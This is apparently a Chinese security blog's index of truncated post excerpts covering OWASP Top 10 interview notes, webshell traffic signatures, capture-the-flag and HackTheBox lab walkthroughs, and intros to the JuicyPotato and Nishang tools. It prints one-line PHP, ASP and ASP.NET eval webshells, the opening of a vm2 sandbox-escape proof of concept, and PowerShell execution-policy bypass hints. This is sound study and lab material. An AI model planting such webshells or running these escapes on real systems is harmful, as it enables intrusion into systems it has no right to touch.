护网面试可能会被问的内容总结
OWASP Top 10
注入 Injection
原理
通常由应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。
包括SQL注入、LDAP查询、OS命令、程序参数等
预防措施
使用安全的API,避免使用解释器或提供参数化的接口(预编译)
使用白名单来规范化的输入验证方法(如正则)
对输入的特殊字符(如*、(等)进行转义处理
权限最小化,即使被注入也影响不大
加装WAF
失效的身份认证和会话管理
原理
在开发web应用程序时,开发人员往往只关注Web应用程序所需的功能,所以常常会建立自定义的认证和会话方案。但是要正确的实现这些方案却是很难的。结果就在退出、密码管理、超时、密码找回、帐户更新等方面存在漏洞。
预防措施
使用集中标准化的认证方式(建立中央认证体系)
使用SSL
添加会话管理
会话管理:当用户不操作时,系统必须自动终止超时会话,必须有时间限制;必须提供退出功能,允许用户强制退出会话;会话标识足够随机,防止攻击者猜测到标识;用户登录后必须分配新的 ...
常见webshell的流量特征
菜刀流量特征
静态特征
菜刀用的是一句话木马,特征很明显
123PHP: <?php @eval([$_post['hacker']]); ?>ASP: <% eval request("hacker")%>ASP.NET: <%@ Page Language="Javascript"%><% eval(Request.Item["hacker"],"unsafe");%>
动态特征
payload在请求体中,采用url编码+base64编码,payload部分是明文传输;
payload中有eval或assert、base64_decode这样的字符;
payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。
进行base64解码后可看到代码:@ini_set(“display_errors”,“ ...
smb利用-vulnhub靶机WestWild v1.1
下载地址:https://www.vulnhub.com/entry/westwild-11,338/
用netdiscover扫描本网段的存活主机
确定机子为VMware的主机,ip为192.168.31.89
端口扫描
tcp端口扫描
详细信息扫描
访问网页
没什么信息,源码里也什么都没有。
目录爆破
既然没东西,那还是目录爆破一下,看看有什么可用目录
一个没有权限,一个是网站主页,没有价值。
smb共享(445端口)
在详细信息扫描那里,我们看到了靶机开启了SMB服务,也就是存在共享文件
我们用enum4linux枚举一下用户和共享文件夹
可能为空密码,且存在一个wave的文件夹,直接用smbclient访问
还真没密码啊?
应该是什么编码,解码一下
base64解码得到用户名密码和flag1
提权
用上面得到的用户名密码通过ssh连接
这个用户看起来并没有提权到root的权限,我们来看看这个用户有什么有写权限的文件
使用下面这个命令我们可以查到
1find / -perm 0777 -type f 2>/dev/null
直接执行一下这个.s ...
polar靶场2023冬季个人挑战赛writeup-web
简单
cool
12345678910111213<?phpif(isset($_GET['a'])){ $a = $_GET['a']; if(is_numeric($a)){ echo "no"; } if(!preg_match("/flag|system|php/i", $a)){ eval($a); }}else{ highlight_file(__FILE__);}?>
不能用尝试执行system,我们来试试用passthru()执行一下ls
很好,进展很顺利,由于过滤了flag,我们直接用cat *来试试
ok,成功取得flag。
upload
打开源代码。发现有个注释,很像某种传值
试试加上去,发现出现了代码
审计一下php代码,发现是通过字符串匹配,然后将其替换为空来过滤掉相关后缀的文件。
先来试试上个图片马,发现似乎不会执行 ...
HTB靶机-codify
连接并检查稳定性
信息收集
tcp端口扫描
22 80 3000 8080开放,进行详细扫描
udp扫描
没有有用价值的内容
web网页尝试
首先我们需要在hosts文件中添加一行记录
访问查看网页
发现是个nodejs代码沙盒测试环境。点开about us页面
我们发现是基于vm2的库搭建的沙盒,并且超链接给出了我们vm2的版本信息
对于沙盒类的代码执行,我们很容易想到的是沙盒逃逸类的漏洞,我们可以去检索一下vm2相关的沙盒逃逸类的漏洞,以"vm2 sandbox escape vulnerability"类似的关键词在搜索引擎检索
检索到一个漏洞,并且版本符合3.9.16。打开利用的pocSandbox Escape in [email protected] (github.com)
1234567891011121314151617181920212223const {VM} = require("vm2");const vm = new VM();const code = `err = {};c ...
HTB靶机-APT
Nmap扫描
tcp端口扫描
udp端口扫描
无开放端口
详细信息扫描
服务分别是
80:微软的IIS服务器,版本号为10.0,一个web服务
135:windows远程过程调用
服务器系统为Windows Server,大概率为2016
80端口尝试
由于80端口开放,且为一个Web服务,我们来访问看看
应该是一个提供虚拟主机服务的网站,网页使用到的技术我们可以用工具看到
发现在support页面存在一个表单,我们随便填写一些信息提交看看有什么反应
发现连接不上提交到的站点,那似乎没有利用价值了。通过查看源码可知,这个网站是该地址的镜像网站,所以我们连接不上
并且我们得到了一个信息,网页是由HTTrack Website Copier/3.x制作的,但是通过我们检索,发现并没有什么可以利用的漏洞。
目录爆破
尝试使用目录爆破,看看有没有可用的目录
并没有扫描可用的信息。
135端口尝试
由于135端口是一个rpc服务,所以首先想到的是rpcclient。
使用rpcclient尝试与135端口进行连接
然而并不可行。我们来尝试一下其他的rpc工具,例如python- ...
Windows内核提权-JuicyPotato
JuicyPotato简介
JuciyPotato俗称烂土豆,是一个基于MS16-075漏洞利用工具RottenPotatoN上改进的内核提权工具。ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM. (github.com)
功能简介
据页面的介绍,烂土豆可以让你做下面这些事情
Target CLISID 选择任何你想要的CLISID。在这里有一个列表可以找到
COM Listening port 设置DOM监听端口
COM Listening IP address 设置DOM监听的IP地址
Process creation mode 进程创建的模式。可以选择下面几种模式:
CreateProcessWithToken (需要 SeImpersonate 权限)
CreatePro ...
Powershell渗透测试工具-Nishang
Nishang是一个针对Powershell的渗透测试工具,集成了框架、脚本和各种Payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本。
Nishang安装
首先我们需要去到Github上下载Nishang,直接从Releases下载即可。下载下来后解压我们得到一个文件夹。
目录
这文件夹代表了Nishang的不同模块
在渗透测试中,这些工具往往我们需要提取出来使用,而不是一整个贴到被渗透服务器中,因此需要我们对Nishang的目录结构有所了解。
Bypass执行策略
Powershell的默认执行策略是Restricted的,而Restricted是不允许任何脚本运行的。因此我们需要一些手段去Bypass执行策略。Bypass执行策略的十五种方法可以参考这篇https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/。
从别人那参考来的三个常用的方式:
1230. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Un ...
HTB靶机-Bastard
连接到HackTheBox
在HTB网站下载vpn文件,使用openvpn进行连接
1sudo openvpn lab_dguthacker.ovpn
连接成功后启动靶机,对靶机进行ping测试,测试连接稳定性,并查看本机在虚拟网络中的地址
可以看到本机ip为10.10.16.3,与靶机10.10.10.9连接延迟110+ms,无丢包,连接较稳定。
nmap信息收集
TCP端口信息收集
1sudo nmap -sT --min-rate 10000 -p- 10.10.10.9 -oA nmapscan/ports
解析:
-sT:TCP扫描
–min-rate 10000:最小速率10000
-p-:全端口扫描
-oA:结果全格式输出保存到nmapscan/ports
从结果上看,有三个端口是开放的。
进行UDP端口信息收集
1sudo nmap -sU --top-ports 20 10.10.10.9 -oA nmapscan/UDP
解析:
-sU:UDP扫描
–top-ports 20:最常用的20个端口
可以看到扫描结果都是open|filtered的状态,没 ...
信息收集(3):DNS
NSLOOKUP
nslookup具有两种模式,交互和非交互
非交互模式
交互模式
进入交互模式后不需要输入nslookup,即可重复查询DNS解析
输出结果解析
最上面的是Server和Address是查询的DNS服务器。可自行指定
#53 代表的是模式情况下DNS服务器端口为53
Non-authoritative answer非权威应答,answer来自于其他服务器的缓存,而不是权威的DNS服务器。
domain name system - DNS - NSLOOKUP what is the meaning of the non-authoritative answer? - Server Fault
"Non-authoritative answer"意味着响应来自于非授权服务器,它可能是一个经过缓存的响应或者来自中间服务器。在大多数情况下,这种响应是可靠和有效的,但也有可能存在更新延迟或不准确的情况。
指定特定类型的查询
在默认情况下,nslookup会解析A类型,我们可以使用type来指定类型
12nslookup -type=mx ...